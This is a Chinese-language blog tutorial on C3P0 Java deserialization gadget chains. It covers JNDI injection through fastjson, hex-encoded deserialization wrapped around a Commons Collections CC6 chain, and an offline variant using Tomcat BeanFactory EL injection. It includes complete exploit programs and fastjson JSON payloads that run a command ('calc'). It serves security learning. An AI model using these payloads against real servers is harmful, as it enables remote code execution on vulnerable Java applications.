Java反序列化之C3P0链

前言:

仍然是基础!!!

C3P0概述:

在看到标题之前大部分人可能都不知道C3P0是什么东西,但实际上他就是一个开源的JDBC连接池,主要实现的就是数据源和JNDI绑定,目前比较知名的使用他的有Spring和Hibernate等

那可能又有人问JDBC是什么?

JDBC英文全称:Java DataBase Connectivity,是java程序访问数据库的标准接口,毕竟java不可能通过TCP去连接数据库~

那什么是jdbc连接池,在开发情况中,我们可能会频繁的操作数据库,而这就相当于会频繁的创建或销毁句柄,这样就会增大资源的消耗。而连接池就是我们提前写好一些句柄,使用的时候拿出来用,不用的时候放到连接池中,准备下次使用~

C3P0 反序列化漏洞

环境:

jdk8u65

pom.xml:

C3P0 常见的利用方式

  1. URLClassLoader远程类加载
  2. JNDI注入
  3. 以及利用HEX序列化字节加载器进行反序列化攻击(之前从未听说过)

URLClassLoader远程类加载:

PoolBackedDataSourceBase.readObject想要进到getObject中必须要满足传入的类是IndirectlySerialized 这个类

进行完这个判断之后调用getObject方法的类从原本的PoolBackedDataSourceBase变成了ConnectionPoolDataSource

但是跟进去发现这是一个接口,没有继承Serializable

那这里就没办法了,所以我们去看一下PoolBackedDataSourceBase的writeObject(也就是序列化),发现他在检测到无法反序列化的时候,会用indirector封装一层

这里我们如果直接跟indirectForm,会发现什么都没有,仔细看一下代码我们可以发现代码中的indirector是ReferenceIndirector

所以我们先跟到ReferenceIndirector中搜索indirectForm看一下,发现会返回一个ReferenceSerialized像是继承了反序列化的

但是跟进去看一下会发现他是一个构造函数,但他继承了IndirectlySerialized,发现他继承了serializable

至此,流程就走完了,看似我们的外表是ConnectionPoolDataSource,但实际上已经是ReferenceSerialized(就是indirectForm return的那个类)

所以其实整个流程还是较为简单的,下面放一下完整的exp

C3P0 之 JNDI 注入

在上面的分析中不知道有没有人注意到一个lookup的方法,看到这个方法第一时间想到的肯定是jndi注入,而这个方法就是在ReferenceIndirector.getObject()里面

但是我们发现虽然有这个函数,但是contextName似乎无法控制,跟进去发现他是一个内部类的属性值,这就很难修改了,所以这其实是一条假的jndi注入哈哈,就是给看看坑

真正的jndi注入链是基于fastjson的,可以算是fastjson中的链吧

这里我们可以从漏洞发现者的思维去寻找,先全局搜一下jndi,点开第一个类JndiRefForwardingDataSource中的dereference方法

然后全局搜一下lookup,在112行和114行发现了一个lookup且参数名是jndiname,那肯定要去看一看这个jndiname能不能想办法控制

跟进去看一下发现jndiName 是由 this.getJndiName() 获得的

所以再看一下getJndiName方法,发现这个方法他判断若jndiname是name类型,就返回((Name) jndiName).clone(),若不是就返回String

回去看一下dereference,发现他刚好允许我们传入String参数

那这时候链子的尾部就已经构造好了,只要向上找能利用的就行

同类中的inner函数调用了该方法,所以再找inner的向上调用

这里发现很多setter/gettter方法,看到这里其实就已经满足fastjson的利用条件了

找一个最简单的只需要传入一整数就可以的JndiRefForwardingDataSource中的setLoginTimeout方法

最终exp:

import com.alibaba.fastjson.JSON;  
  
// JndiRefForwardingDataSource 类的直接 EXP 调用  
public class JndiForwardingDataSourceEXP {  
    public static void main(String[] args) {  
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +  
                "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";  
        JSON.parse(payload);  
    }  
}

其实这里还能继续向上找,因为这个JndiRefForwardingDataSource是一个default类,相对于public类的利用面会小一点,就是在JndiRefConnectionPoolDataSource 当中,大家可以去尝试一下,和上一个相差无几

public class JndiRefConnectionPoolDataSourceEXP {  
    public static void main(String[] args) {  
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +  
                "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";  
        JSON.parse(payload);  
    }  
}

C3P0 之 hexbase 攻击利用

这种攻击方法成立的e原因就是有一个WrapperConnectionPoolDataSource 类,他能反序列化一串十六进制字符串

链子的头部在WrapperConnectionPoolDataSource类中的构造函数

看构造函数发现在给userOverrides赋值的时候会调用C3P0ImplUtils.parseUserOverridesAsString()方法

跟进去看看发现,他将hex字符串读进来之后,首先把把字符串头部的HASM_HEADER截掉了,以及会截掉字符串最后一位

继续看,发现把转码后的结果保存到serbytes这个字节流当中,然后又对字节流执行SerializableUtils.fromByteArray()方法

跟到fromByteArray函数中看一下,发现他调用了SerializableUtils#deserializeFromByteArray

跟进去发现反序列化操作----readobject

所以这个很简单,直接用以前的cc链作为主要攻击链即可

exp

package hexBase;  
  
import com.alibaba.fastjson.JSON;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.beans.PropertyVetoException;  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.io.StringWriter;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Map;  
  
public class HexBaseFastjsonEXP {  
  
    //CC6的利用链  
 public static Map CC6() throws NoSuchFieldException, IllegalAccessException {  
        //使用InvokeTransformer包装一下  
 Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        HashMap<Object, Object> hashMap = new HashMap<>();  
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器  
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
        HashMap<Object, Object> expMap = new HashMap<>();  
        expMap.put(tiedMapEntry, "value");  
        lazyMap.remove("key");  
  
        // 在 put 之后通过反射修改值  
 Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(lazyMap, chainedTransformer);  
  
        return expMap;  
    }  
  
  
    static void addHexAscii(byte b, StringWriter sw)  
    {  
        int ub = b & 0xff;  
        int h1 = ub / 16;  
        int h2 = ub % 16;  
        sw.write(toHexDigit(h1));  
        sw.write(toHexDigit(h2));  
    }  
  
    private static char toHexDigit(int h)  
    {  
        char out;  
        if (h <= 9) out = (char) (h + 0x30);  
        else out = (char) (h + 0x37);  
        //System.err.println(h + ": " + out);  
 return out;  
    }  
  
    //将类序列化为字节数组  
 public static byte[] tobyteArray(Object o) throws IOException {  
        ByteArrayOutputStream bao = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(bao);  
        oos.writeObject(o);  
        return bao.toByteArray();  
    }  
  
    //字节数组转十六进制  
 public static String toHexAscii(byte[] bytes)  
    {  
        int len = bytes.length;  
        StringWriter sw = new StringWriter(len * 2);  
        for (int i = 0; i < len; ++i)  
            addHexAscii(bytes[i], sw);  
        return sw.toString();  
    }  
  
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {  
        String hex = toHexAscii(tobyteArray(CC6()));  
        System.out.println(hex);  
  
        //Fastjson<1.2.47  
 String payload = "{" +  
                "\"1\":{" +  
                "\"@type\":\"java.lang.Class\"," +  
                "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +  
                "}," +  
                "\"2\":{" +  
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +  
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +  
                "}" +  
                "}";  
        JSON.parse(payload);  
  
  
    }  
}

C3P0链子不出网利用

上面的urlclassloader加载远程类和jndi注入都需要目标机器出网,虽然说hexbase攻击方法可以不出网,但是前面分析的parseUserOverridesAsString所传入的参数是一个get方法,所以使用fastjson会方便很多,也就导致了对fastjson的版本有要求

在之前学习jndi注入的时候我们讨论过高版本利用就是可以加载本地的factory类进行工作,但是有要求就是该工厂类至少存在一个getObjectInstance()方法,比如说可以加载tomcat8中的org.apache.naming.factory.BeanFactory来进行EL表达式注入

导入依赖:

<dependency>  
    <groupId>org.apache.tomcat</groupId>  
    <artifactId>tomcat-catalina</artifactId>  
    <version>8.5.0</version>  
</dependency>  
<dependency>  
    <groupId>org.apache.tomcat.embed</groupId>  
    <artifactId>tomcat-embed-el</artifactId>  
    <version>8.5.15</version>  
</dependency>

接下来就是要选一条可以不出网利用的且限制较少的链子,其实之前的urlclassloader的链子就可以利用,只需要给之前的exp修改一下就行

package NoNetUsing;  
  
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;  
import org.apache.naming.ResourceRef;  
  
import javax.naming.NamingException;  
import javax.naming.Reference;  
import javax.naming.Referenceable;  
import javax.naming.StringRefAddr;  
import javax.sql.ConnectionPoolDataSource;  
import javax.sql.PooledConnection;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.sql.SQLException;  
import java.sql.SQLFeatureNotSupportedException;  
import java.util.logging.Logger;  
  
public class NoAccessEXP {  
  
    public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable {  
  
        @Override  
 public Reference getReference() throws NamingException {  
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);  
            resourceRef.add(new StringRefAddr("forceString", "faster=eval"));  
            resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));  
            return resourceRef;  
        }  
  
        @Override  
 public PooledConnection getPooledConnection() throws SQLException {  
            return null;  
        }  
  
        @Override  
 public PooledConnection getPooledConnection(String user, String password) throws SQLException {  
            return null;  
        }  
  
        @Override  
 public PrintWriter getLogWriter() throws SQLException {  
            return null;  
        }  
  
        @Override  
 public void setLogWriter(PrintWriter out) throws SQLException {  
  
        }  
  
        @Override  
 public void setLoginTimeout(int seconds) throws SQLException {  
  
        }  
  
        @Override  
 public int getLoginTimeout() throws SQLException {  
            return 0;  
        }  
  
        @Override  
 public Logger getParentLogger() throws SQLFeatureNotSupportedException {  
            return null;  
        }  
    }  
  
    //序列化  
 public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {  
        //反射修改connectionPoolDataSource属性值  
 PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  
        Class cls = poolBackedDataSourceBase.getClass();  
        Field field = cls.getDeclaredField("connectionPoolDataSource");  
        field.setAccessible(true);  
        field.set(poolBackedDataSourceBase,c);  
  
        //序列化流写入文件  
 FileOutputStream fos = new FileOutputStream(new File("ser.bin"));  
        ObjectOutputStream oos = new ObjectOutputStream(fos);  
        oos.writeObject(poolBackedDataSourceBase);  
  
    }  
  
    //反序列化  
 public static void unserialize() throws IOException, ClassNotFoundException {  
        FileInputStream fis = new FileInputStream(new File("ser.bin"));  
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);  
        objectInputStream.readObject();  
    }  
  
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
        Loader_Ref loader_ref = new Loader_Ref();  
        serialize(loader_ref);  
        unserialize();  
    }  
}

总结:

实战环境中c3p0的包(com.mchange.c3p0)是除cc和cb以外最多的jar包,一部分是被org.quartz-scheduler:quartz 依赖所带进来的

posted @ 2025-07-11 21:15  Zephyr07  阅读(28)  评论(0)    收藏  举报